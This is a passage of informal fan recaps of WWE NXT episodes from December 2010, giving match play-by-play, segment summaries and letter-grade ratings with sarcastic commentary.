Rating: C-. This was more or less nothing but Saxton looked pretty good for the most part.  It wasn’t a good match for the most part as it was really basic but Masters continues to be pretty good like he has since this recent push of his.  Saxton needed a match like this as he looked decent in it actually.

Brodus comes into DiBiase’s locker room and goes off on him about costing him so much stuff.  DiBiase says shut up and listen.  Brodus says he will and leaves.  Maryse says something in French to tick DiBiase off.

Ted DiBiase/Brodus Clay vs. Derrick Bateman/Daniel Bryan

 

Maryse has been texting all night.  I doubt that’ll mean much but whatever.  Josh says neither Bateman or Bryan has ever won a match on NXT.  Is that true?  I can’t think of a win for Bryan off the top of my head.  I think the winner here is pretty clear.  Oh wait this is a tag match!  Ok that makes more sense now.  Todd: What would the tag team championships look like around Bateman and Bryan’s waists?  Josh: They would look like two belts around their waists.  Nice line.

Bryan plays Ricky Morton for a bit here as both guys get two.  We talk about the Rumble almost non-stop here and Josh says he’ll make his prediction next week.  Todd says that’ll get them a good rating.  Are they competing with reruns of the Dirt Sheet?  Josh points out there are no ratings and Todd has nothing.  Nerve hold by Clay and Dolph grabs a mic and shouts TAP OUT!

Brodus gets the Tongan Death Grip but DiBiase tags himself in.  Bryan manages to get the tag and Bateman cleans some rooms.  DiBiase gets Bateman down and wants to tag out.  Clay is like screw you dude and drops to the floor.  Naturally Bateman gets a rollup on DiBiase for the pin at 4:35

Rating: C-. Bit better here but not much either way.  I think the ending was pretty clear here and the eventual clash between Brodus and DiBiase is coming which is a good thing.  Either way, not terrible here but it was predictable nothing great at all.  Bateman needed a win though so that’s taken care of.

O’Brian finds some cheese on the floor and eats it.  And there’s a trail of it too.  Oh sweet goodness I hate this guy.  At the end is Ricardo with some kind of spray.  Alberto comes in and is very ticked off.  He apparently has match making power and makes Ricardo vs. O’Brian tonight.  It was rat spray.  This is really happening people.

Raw ReBound talks about a shift in power.  Wait a minute.  Punk hurt Cena, Cena talked, Nexus beat down Cena again.  When did the power shift away from Nexus and Punk?

Curtis is nervous and Truth says relax.  Pointless doesn’t begin to describe this.

Ricardo Rodriguez vs. Conor O’Brian

 

Ricardo is in a bath robe and trips getting into the ring.  He does his own entrance which is kind of funny.  Ricardo is in big black trunks and is a little chubby.  Ladies and gentlemen we are in a comedy match.  It’s weird to see O’Brian being the best wrestler in a match.  Buckle is pulled off and it’s all O’Brian.

You know that rat spray going into his eyes seems to be agreeing with him.  O’Brian goes into the buckle head first, Rodriguez gets a “splash” and pins him at 1:45.  Sweet mercy I have seen it all now.  You know except for Trish Stratus catching trains that fall out of orangutan’s kneecaps when they’re stealing apples from a Persian fruit vender on Mars but I think you get the point.  No rating due to the time.

Elimination time and Striker has to repeat some stuff due to technical difficulties.  I’d assume they couldn’t hear him in the arena because we could.  Bateman is immune and says Saxton should be gone.  Rat Boy is gone!!!  Thank goodness.  He tries to say goodbye but Ricardo cuts him off.  The Rat Boy chases him off.  Conor comes back and says they all suck.  He crawls under the ring for no apparent reason.

Overall Rating: C. Ok, this show is awful.  But if you lower your expectations by about 1000 notches, you’ll find some hilarious moments in this.  The Bateman/Bryan stuff is great, Brodus is cool and RAT BOY IS GONE!!!  The final four are definitely the best of the bunch so this could get ok now.  It’s still weak, but they’re clearly having a good time with it and it’s a great way to see the guys just joking around and having fun, which you don’t often see.  Bad show from a technical standpoint, fun show if you don’t think, like at all.




NXT – December 28, 2010

NXT
Date: December 28, 2010
Location: Blue Cross Arena, Rochester, New York
Commentators: Todd Grisham, Josh Matthews

It’s week four and after last week’s rather disappointing show (which granted may have been due to there being three straight hours and NXT was the final one) this needs to be a bit better.  The first elimination is next week which should help things along a bit.  Show is starting now so let’s get to it.

Johnny Curtis vs. Dolph Ziggler

 

Ah good I was thinking he was fighting Novak again.  Truth is back after being in rather bad health recently.  Dolph pounds him down in the corner.  He has DZ on his tights now.  Curtis tries to speed things up but runs into an elbow.  Novak is getting too close to Vickie for Dolph’s tastes.

Curtis fights back for a bit but runs into a neckbreaker.  They’re talking about the runtime of the show as it’s apparent that not a lot of people care about this show, including the announcers.  Curtis hits a discus lariat to put down Ziggler and a backdrop has the champion in trouble.  He goes for his guillotine legdrop which would have missed by two feet even if Ziggler hadn’t rolled out of the way.  Zig Zag ends this at 4:45.

Rating: C-. Not bad with Ziggler looking like he was rarely in trouble.  They need to have a rookie win here eventually or these matches are rather pointless.  Of course Curtis can’t beat Ziggler yet.  We know that, so do we really need a match to tell us that again?  I’m not sure I get the logic here.

Ad for the Heenan DVD which might break my streak of not buying WWE releases.

Derrick Bateman vs. Conor O’Brien

 

Hey it’s Rat Boy!  My stream went out for a bit before the beginning of this so I’m not entirely sure on the time.  Kofi is here in Bryan’s place as he’s at the house show scheduled for the same night as this broadcast.  Granted no one but all of five people watch this show anyway so it’s not like it matters.  Bateman controls for the most part here.  Swinging neckbreaker gets a very long two.

Grisham picks Saxton to win the competition.  And never mind as a full nelson slam ends this with O’Brien getting the win after about 1:40 that I could see.  Not enough to grade and I didn’t see all of it anyway.

DiBiase and Maryse are talking about something involving spending $20,000 in one store.  Brodus says that DiBiase is everything Brodus wants to be.  The argument continues as we go to what passes for a commercial here.

Time for the Power of the Punch challenge which I think you remember.  You hit the bag and high score wins.  This is for two points and if you break the all time NXT record that Alex Riley set you get an extra point.  Bateman gets 750 to start.  Curtis hits 814 and the record is 819 apparently.  Saxton hits 629 or something like that.

O’Brien says he’s going to knock a hole in it like Swiss cheese.  I hate this guy and he gets the lowest score so far.  Novak does a bit better and hits 720.  Ziggler rips into him a bit.  Clay is up next and this could be hilarious.  Fans are WAY into him actually.  There must be something to the technique here as he gets under 640, giving Curtis the two immunity points.

Byron Saxton vs. Ted DiBiase

 

DiBiase outmaneuvers him to start and then the opposite happens immediately thereafter.  Saxton and Clay are the best two out there with Bateman being third.  After that though, the rest are all just there and that’s the issue with this season.  Even those three aren’t guys I’d be particularly interested in seeing in WWE.  Beautiful dropkick by DIBiase gets two.

Chinlock goes on and Grisham says this might be a tap out.  Saxton fights out of it and gets a sunset flip for a very close two.  They head to the floor with Saxton on his own out there now.  Brodus teases running through him, Masters says don’t do it, Clay does it anyway for the DQ at 6:45.  Post match DiBiase yells at Clay and has Maryse slap him.  Nothing from Clay though.

Rating: C-. Again not a bad match, but the ending to it left a good bit to be desired.  I do not care about most of these guys for the most part and it seems that most of the other people I’ve heard from don’t either.  Not a bad match like I said, but still nothing worth sitting through at all.

Raw Recap which is about Cena vs. Punk/Nexus which is interesting but doesn’t feel huge like it’s supposed to I don’t think.

Truth tells Curtis that the amount of wins doesn’t matter.  Curtis says that if Truth had been there for him he could have won.  Truth: “And if a frog had wings he wouldn’t hit his butt every time he hopped.”  Curtis: “I don’t know what that means.”  Truth: “Neither do I.”  Ok then.

Talent show is up next.  I sweat if O’Brien’s thing is about rats or cheese…..

Curtis and Bateman are the only ones that can earn immunity.  Bateman is going to go first with poetry and it’s a haiku called Cheap Pop.  “Boy does it feel great, here in the Empire State, Rochester, New York”, end Derrick Bateman’s talent.

Curtis is going to dance and oh sweet goodness he has a streamer.  Grisham wants to know if we’re watching LOGO TV.  If you’re unfamiliar, LOGO is a network devoted to homosexual themed shows and movies.  Vince isn’t listening to this at all is he?

Saxton is going to read a fairy tale.  Striker: “That’s appropriate.”  Matthews goes on a rant that I’m not entirely sure if we’re supposed to hear.  The story runs down Clay and talks about apple cider.  Do you people get what I go through for you all???

O’Brien tells some absolutely awful jokes.

Before Novak goes, Striker wants to know if we can just have Clay destroy everyone and be done with this.

Novak’s talent: looking good.  He basically does a photo shoot with a chair.  I’m trying to picture Race or Flair or the Funks showing up during this.

Clay is going to make anyone from the back look Hood Cool.  And it’s Michael Cole.  Cole talks about how awful this city and show is, and somehow this is BY FAR the most interesting part of the show.  He goes on random rants about vinegar and mascots and Kaval while Clay says random words in the background.  Curtis wins if you’re interested.  After the contest Brodus is like screw this and beats everyone up to end it.

Overall Rating: D-. WOW.  This actually might have been the biggest waste of an hour I have ever spent in my life.  First and foremost, the wrestling is not bad.  I want to make that very clear.  That being said, this is so pathetically uninteresting that it’s not even funny.  They’ll find some way to make sure Brodus, BY FAR the most interesting and best guy out there, doesn’t win so that Curtis can be a “star” while no one cares about him at all.

I haven’t been this uninterested in a show in I don’t know how long.  O’Brien, Novak, Curtis and arguable Bateman could not be more boring if their finishing move was watching paint dry long enough that the other guy died of old age first and they win by forfeit.  Is this supposed to be entertaining?  I get that it’s supposed to be bad, but dang dude, give me SOMETHING to like about it.  Clay helps, but if he’s gone I don’t know if I can sit through this again.  Fine from a technical standpoint, but boring beyond belief in execution.

 

Results

Dolph Ziggler b. Johnny Curtis – Zig Zag

Conor O’Brien b. Derrick Bateman – Full Nelson Slam

Johnny Curtis won the Power of the Punch Challenge

Byron Saxton b. Ted DiBiase via DQ when Brodus Clay interfered

Johnny Curtis won the Talent Contest




NXT – December 21, 2010

NXT
Date: December 21, 2010
Location: AT&T Center, San Antonio, Texas
Commentators: Todd Grisham, Josh Matthews

It’s week 3 here and I’m pretty sure we’re live here for a change due to the whole confusing thing of Smackdown having to be live tonight due to Christmas Eve.  Hopefully it’s decent like the previous two weeks have been but they need to give the characters a chance to develop a bit as they haven’t done that at all for the most part yet.  Let’s get to it.

This is starting IMMEDIATELY after Smackdown ended which is a bit of overkill indeed.

The opening video is about the obstacle course last week which wasn’t as bad as I expected it to be.

Theme song is still good.

Here come the rookies as usual.  Sorry if I’m a bit off tonight as this isn’t something I want to be doing at the moment.  The challenge is a wheelbarrow race and the Soaring Eagle will be inside it.  I’m not sure if this is better or worse than Horny.

Curtis goes first and jumps the gun, prolonging the stupidity of this one.  His time is 13 seconds.  There’s nothing to say about this stuff at all other than some weak jokes from the announcers.  Grisham is whining like he has a piece of Cole stuck inside him.

Novak breaks the mark at 12.8.

Brodus gets 13.8 and drops the wheelbarrow, sending the Eagle sprawling to the floor.

O’Brian is next and sets the new mark at 12.7.  This is REALLY boring if you can’t get that.

Saxton wants to warm up and puts on a black glove to get a time of 12.5.

Bateman is last and ties it.  Please….no.

We do it again and Bateman throws a flag on the ground that he got from….somewhere.  Saxton doesn’t CROSS THE LINE as that has to be a rib of some sort.  Never mind he did as they keep saying it over and over.  GET ON WITH THIS.  Bateman goes again and wins this STUPID segment that went on way too long.  He gets two points.

Novak vs. Curtis and a six person tag later.

Jacob Novak vs. Johnny Curtis

 

JTG is subbing for R-Truth here.  Dolph yells at Novak as he sends Curtis to the floor.  Dolph is in a tie so we talk about that more than anything else.  We hit a chinlock as we talk about hitting on Vickie.  This match is really, really dull.  This whole season has had dull characters.  Ziggler gets in a cheap shot to Curtis and Novak adds in a big boot to end it at 5:00.  Vickie is watching and smiling.

Rating: D+. The match was fine from an in ring perspective, but WOW I could not care less about these two guys.  Neither are interesting in the slightest and neither are the majority of these rookies.  This wasn’t a terrible match, but I could not wait to get to the end of it which is never a good thing at all.

Profile on Bateman who was on Heat once.  He says he’s Man-Tastic and has the most charisma.

There’s a Divas calendar.  The PG is slowly slipping away actually.  Just little things like that or a bit more swearing.  It’s barely noticeable but it’s helping somewhat.

Profile on O’Brian who looks like a rat and was an outcast.  Yes we get it he has a weird looking face.  He says it’s time for the Rattitude Era.  I hate this guy already.

Bateman and Bryan are training more as Bateman reads the WWE Champion book which appears to be upside down to him.  There’s a trivia challenge tonight which should be fun.

Trivia challenge time but there’s a twist.  There will be a category named and you go down the line with each person naming something/someone that fits said category.  First up is Undertaker Wrestlemania opponents.  Shawn Michaels being mentioned gets the big hometown pop.  They don’t go on until people are eliminated, as in once 6 are named we move on to a new category.

Second up is King of the Ring winners.  Owen Hart is mentioned on TV actually.  Bateman goes with Billy Gunn.  We go through this again due to no one being eliminated yet.  Brodus Clay is the first one out as he thinks Diesel was King.  New category is Wrestlemania host cities.  Conor says Pee Wee Herman.  That isn’t a typo.  Saxton reminds me of Token on the news anchors episode of South Park.

We stay with it as they’re running low on cities.  No one has said LA yet surprisingly.  Curtis is out as he can’t think of anything.  New category is any WWE PPV in 2010.  Saxton repeats Survivor Series and he’s out.  Final two are Bateman and Novak.  Their category is WWE Champions.  BATEMAN TRAINED FOR THIS!  Hogan reference.  Novak says Miz and gets buzzed for no apparent reason and we keep going.  Novak freezes somehow and can’t get Cena in time, giving Bateman the win.

We go to the back where Conor comes in to see Alberto as per his request.  They get into a semi spat which goes nowhere.  Conor wants some of the cheese Alberto is eating.  HEY, MAYBE YOU SHOULD PUSH THE FACT THAT HE LOOKS LIKE A RAT MORE!!!  YOU’RE BEING TOO SUBTLE!!!

Ted DiBiase/Maryse/Brodus Clay vs. Byron Saxton/Chris Masters/???

 

There’s a guest/mystery Diva here to team with Masters and Saxton.  And there’s no real intrigue/suspense as it’s Natalya.  Gender vs. gender here as usual.  Those who I’d prefer to see topless start us off.  Natalya outsmarts her to start and the beating/screaming begins.  Off to the rookies now and Saxton can’t hurt Brodus.  Clay sends him to the floor as we take a break.

Back with some not hot Saxton on DiBiase action.  Masters comes in and it’s pro vs. pro.  Is Clay a face or a heel?  I’m not sure.  Masters hammers away on the fat man until Saxton comes back in.  Clay gets a somewhat awkward looking cover for two.  It’s hard to describe but he looked odd laying down on Saxton.  No one will tag in for Saxton as his bravado is costing him.

DiBiase gets a dropkick for no cover.  Oh apparently Saxton wouldn’t tag out so here’s Masters.  Powerslam gets two.  Dream Street is countered and Masters gets a spinebuster.  Brodus beats on Masters in the corner and Maryse adds a slap.  Back to the girls and it’s a catfight.  The pros go outside to break them up and it’s up to the rookies.  Powerslam ends Saxton but a Vader Bomb misses and Saxton gets the pin.  I forgot to check the clock but it ran about 12:00.

 

Rating: C-. Not a terrible match I guess and it worked ok as it was supposed to.  Getting a 12 minute match on NXT is a nice touch for a change and at least Brodus, one of the only decent rookies, was featured.  This redeems Saxton a bit which I guess is your storyline advancement for the week.  Decent enough match I guess.

Overall Rating: D+. Definitely the weakest show of the season so far but I think a lot of that can be attributed to having three straight hours of TV tonight which is WAY too much, especially with this being the stuff we ended on.  The trivia stuff was ok but it would have been nice to have it be more actual trivia.   The show wasn’t horrible, but it’s the weakest so far.